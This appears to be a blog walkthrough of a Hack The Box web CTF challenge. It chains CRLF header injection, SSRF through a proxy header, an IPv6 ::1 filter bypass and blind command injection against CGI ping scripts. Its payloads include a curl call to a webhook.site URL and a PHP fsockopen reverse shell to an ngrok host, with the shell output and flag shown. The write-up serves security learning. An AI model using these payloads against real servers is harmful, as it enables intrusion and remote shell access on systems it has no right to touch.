Welcome, Brave Hero of Eldoria. Youâve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakarâs sentinels. But if youâre braveâor foolishâenough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria⌠or doom us all.
This is a complex white-box Web CTF challenge involve exploiting multiple chaining vulnerabilities and bypassing filters in place.
Seriously, that challenge was on a whole new level â double injection, proxy bypass, weird header tricks, blind execution, and to top it all off, it had zero output feedback unless you built the exact right payload, and even setting up an external shell. Thatâs next-level stuff â way beyond the average CTF web challenge.
Can't wait, let's dive in ;)
In CTFs itâs often about details. This is a white box testing web challenge. In this kind of challenges, I like to have a quick look at the source code and stuff around it, so that I got a good understanding of how does this web application work, and what kinds of possible vulnerabilities out there.
Another thing to look at is to look at the software stack. Is it a standard setup, is there something out of the ordinary? Something looking strange? Is it using technologies you usually donât see, is it using thing differently from the common sense? Is there software components installed additionally that are not really needed for the thing to work? If so, then itâs usually needed for an exploit path.
tl;dr: In CTFs itâs often not only the source code for the challenge and the obvious but also stuff around it.
After a quick of review the files and directories there, I knew that the vulnerability that we are gonna exploit is command injection. Yeah command injection!
attack-domain and attack-ip under /src/cgi-bin directory were both seem to be vulnerable to command injection!
The application were trying to ping the ip or domain specified by the user as following:
Itâs clear that both attack-domain and attack-ip are vulnerable to command injection. If we input something like 127.0.0.1; whoami into the target parameter, the resulting command executed by the server becomes: ping -c 1 127.0.0.1; whoami and boom đĽ We should have command injection.
But this looks too easy isn't? in the first look yeah, we could say that we can exploit command injection vulnerabilities. Which is not that much difficult. But while I was reviewing the code I found two issues:
It is obvious that attack-domain has strong filtering on the target.
attack-domain checks if theÂtarget is a valid domain using regex:
re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
- This blocks any attempt to directly injectÂ
127.0.0.1, URLs, or non-domain-looking strings including command injection attempts. - It only allows a single-level domain, like example.com.
So it looks like it is impossible to exploit command injection in attack-domain
While attack-domain has a strong filter, the attack-ip hasn't any filter and once we could inject our command in the target, it must be executed directly. Sounds great isn't? Guess what? We have another problem! While I was reviewing the source code of the challenge. I noticed another annoying thing. attack-ip can only be accessed by localhost! you need to be localhost in order to be able to access it and then inject your command.
Things got complicated isn't? we can access attack-domain but it has strong filter and we cannot inject our payload. On the other hand, attack-ip has no filter, but It must be accessed by the localhost which is the server itself.
Let's have a look to the website.
As you can see, we have access to attack-domain only, let's try to inject our payload, and see what happen. We will use Burp Suite of course.
As I thought, we have a strong filter in attack-domain. And it is impossible to bypass it.
Now we want to prove that what weâve concluded so far is correct.
Letâs start by trying to directly access attack-ip from our browser or any HTTP client, for example:
GET /cgi-bin/attack-ip?target=127.0.0.1;id&name=glitch
We will get a 403 Forbidden or access denied, confirming that we canât access it unless we are the localhost.
Now letâs try something invalid in attack-domain, like:
GET /cgi-bin/attack-domain?target=127.0.0.1&name=glitch
And of course, we will get:
?error=Hey glitch, watch it!
Because the regex filter wonât allow us to pass 127.0.0.1 as a domain.
â This proves that:
-
We can only reach attack-domain, but we canât inject into it directly.
-
We can inject into attack-ip, but canât reach it externally.
It's complicated isn't? I've spent additional one hour trying to bypass the filter in attack-domain or access the attack-ip by manipulating the http headers in order to make my request looks like it comes from the localhost, but nothing worked!
I knew from the startâattack-ip wasnât just sitting there by accident. It screamed âexploit me.â And attack-domain? Yeah, that wasnât for decoration either. The challenge clearly wanted us to use both, like two pieces of a dark puzzle waiting to be connected.
But hereâs the twist: attack-ip was locked down, only accessible from localhost. Frustrating? Yes. Hopeless? Not even close.
Then it hit meâwhat if I became the server? What if I could make the server attack itself?
Boom. Thatâs it. SSRF. The moment that clicked, everything made sense.
If I could use attack-domain to trick the server into sending a request to itself, targeting attack-ip with a malicious payload⌠well, thatâd be game over for Malakarâs defenses.
The weapon? A forged request. The assassin? The server itself. All I had to do was whisper the right payload.
Now that I knew what needed to be done â it was time to figure out how to do it.
I had the setup: ⢠attack-domain lets me send a request from the server itself. ⢠attack-ip is where the command injection lives â but itâs localhost-only.
So I had to abuse SSRF via attack-domain to hit attack-ip internally â but with a payload nasty enough to punch through.
The catch?
attack-domain was filtered like Fort Knox â the target= parameter only allowed domains like example.com. That regex was blocking everything useful.
But what if I didnât use target at all?
đĄ What if I injected through the name= parameter instead?
Im not exaggerating when I say this part consumed hours of my life.
This was the most difficult part, I've spent more than 5 hours in order to be able to craft this payload, the payload that exploited multiple chaining vulnerabilities double injection, proxy bypass, weird header tricks, blind execution, and to top it all off, it had zero output feedback all in one shot.
I had to pull off double injection â one to inject into attack-domain, and another inside it to reach and exploit attack-ip. But guess what? It didnât stop there.
The payload had to: ⢠Inject through a parameter not meant for URLs (name)
⢠Trick the server into issuing a request to itself (SSRF)
⢠Bypass the strict regex filters on the target parameter
⢠Use CRLF injection to forge headers and inject a second request
⢠Leverage proxy-style headers to force the server to connect to 127.0.0.1
⢠Deliver a command injection payload to attack-ip
⢠Execute blindly (no output returned!) â meaning I needed a reverse shell or webhook to verify it
Each attempt either got blocked, sanitized, or just⌠failed. I even got 400s, 302s, 408sâlike I was talking to a grumpy wizard.
After hours of trial and error, I crafted the following initial payload:
Decoded URL (For clarification only):
GET /cgi-bin/attack-domain?target=Glitch&name=x
Location: /lol
Content-type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=127.0.0.1%$(id)&name=
HTTP/1.1
Encoded URL: (Always Ensure URL Encodeing)!
GET /cgi-bin/attack-domain?target=Glitch&name=x%0d%0aLocation:+/lol%0d%0aContent-type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=127.0.0.1%$(id)%26name=%0d%0a%0d%0a HTTP/1.1
but I got the following response:
HTTP/1.1 302 Found
Date: Mon, 24 Mar 2025 00:41:51 GMT
Server: Apache/2.4.54 (Debian)
Location: ../?error=Hey /var/www/html/azx, watch it!
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Which indicates that I did something wrong in my payload, and yeah I found what was wrong with my payload, I should test ::1, instead of 127.0.0.1
Hereâs the kicker: our forged request via CRLF (in name) injects a whole new request, but our target=127.0.0.1 up front breaks the outer logic â the outer script sees 127.0.0.1, flags it as invalid, and exits early â before our injected inner request is even reached or parsed.
Why ::1 Works
::1 is the IPv6 loopback address (equivalent to 127.0.0.1 in IPv4), but guess what? It bypasses that domain regex filter because:
- It has no dots like 127.0.0.1 (which breaks the a.b TLD pattern).
- It looks more âdomain-likeâ when obfuscated (especially when buried in a forged Content-Type header).
- It still resolves to localhost internally, so the SSRF and command injection land exactly where they should.
So, I've updated my payload:
Decoded URL (For clarification only):
GET /cgi-bin/attack-domain?target=Glitch&name=x
Location: /lol
Content-type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=::1%$(id)&name=
HTTP/1.1
Encoded URL: (Always Ensure URL Encodeing)!
GET /cgi-bin/attack-domain?target=Glitch&name=x%0d%0aLocation:+/lol%0d%0aContent-type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(id)%26name=%0d%0a%0d%0a HTTP/1.1
and guess what?!
It worked, we didn't get an error nor bad request in the response.
I got the following response:
<p>The document has moved <a href="../?result=Succesfully attacked ::1%$(id)!">here</a>
This indicates that our target has been attacked successfully and we were able to inject our command in the target. Which was id. But why didn't we get the feedback of our injected command? yeah it is a blind command injection. We couldn't see the output of our command. This makes the attack even more complicated.
We should verify if our command being executed, so I've decided to use webhook.site to see if I get some response from the the server that were I was targeting. So I've injected the following command: $(curl%2bhttps://webhook.site/4a548bab-700e-4dc2-8f47-0949f09aaecd) to ensure if my command being executed, but guess what? I got an error. Yeah my payload has a dot, which causes this error. This is very annoying. But I've assumed that my commands are working. So, I've decided to get a reverse shell directly.
We don't have VPN connection to the target, so we cannot get a reverse shell directly. Luckly, we can use Ngrok to receive a reverse shell even if youâre not on the same network. This tool creates a public-facing tunnel to our machine â allowing the target (the server) to connect back to us.
And we got the following window:

So we are gonna use the following host: 0.tcp.in.ngrok.io, and the following port: 12085 as the ip, and port to get a reverse shell to our machine.
Now came the final boss fight â crafting a reverse shell payload that wouldnât get mangled by filters, wouldnât trigger a 400 Bad Request, and could be injected via SSRF + command injection into a shell that can escape the sandbox.
Iâm not gonna lie â I spent hours testing all kinds of reverse shells: bash, nc, python, PHP⌠but every time, I hit some kind of wall.
Some were filtered. Some had special characters that broke the payload. Some were too long. Some needed binaries that weren't even present on the server.
Finally, I landed on PHP with a proxy header double URL-encoded trick. Hereâs the winning payload:
Decoded URL (For clarification only):
GET /cgi-bin/attack-domain?target=Glitch&name=x
Location: /lol
Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=::1%$(php -r '$sock=fsockopen("0.tcp.in.ngrok.io",12085);`bash <&3 >&3 2>&3`;')&name=
HTTP/1.1
Encoded URL: (Always Ensure URL Encodeing)!
GET /cgi-bin/attack-domain?target=Glitch&name=x%0d%0aLocation:+/lol%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(php%2b-r%2b'$sock%253dfsockopen(%220.tcp.in.ngrok.io%22,12085)%253b%60bash%2b<%25263%2b>%25263%2b2>%25263`%253b')%26name=%0d%0a%0d%0a HTTP/1.1
Letâs break it down:
- We forged a second HTTP request inside theÂ
name= parameter using CRLF injection. - We set theÂ
Content-Type: header to act as a proxy request to the localhost-onlyÂattack-ip endpoint. - Then, we injected a command injection payload in theÂ
target= param ofÂattack-ip, which usesÂphp -r to open a socket to my Ngrok listener and pipeÂbash into it.
Once the payload was sent, I hit Send from Burp... âł Waited a few seconds... đĽ Boom â my terminal lit up:
connection from 94.237.59.98:46058
bash: no job control in this shell
$ whoami
www-data
And just like that â we were in. We popped a shell on Malakarâs fortress.
The flag? Sitting right there:
Game over.
This wasnât just a CTF challenge â it was a battle of wit, patience, and obsession. Cyber Attack was a masterclass in modern web exploitation â an intricate blend of:
⢠SSRF,
⢠Blind Command Injection,
⢠Header Forgery via CRLF Injection,
⢠Proxy Misuse,
⢠Shell Evasion,
⢠Filter Bypass,
⢠And ultimately, creative persistence.
At no point was this challenge about simply finding a bug. It was about chaining bugs, bending protocols, and speaking the language of servers in just the right way. It demanded an attacker who could think like the system, reason through layered defenses, and strike precisely â even without feedback.
From identifying the injection surface, weaponizing a CRLF-based SSRF, bypassing filters with ::1, crafting proxy-aware headers, encoding a shell in PHP, and catching it with Ngrok â this was the most advanced and rewarding web challenge Iâve ever faced.
And the flag? HTB{h4ndl1n6_m4l4k4r5_f0rc35} â a symbol that even in the darkest systems, a clever hacker can still shine through.
Thanks for reading â until next time, happy hacking! đťđ
Connect with me:
đŚ X (Twitter) - @Hacker09737393
đ LinkedIn - Mohammed Al-Sadi







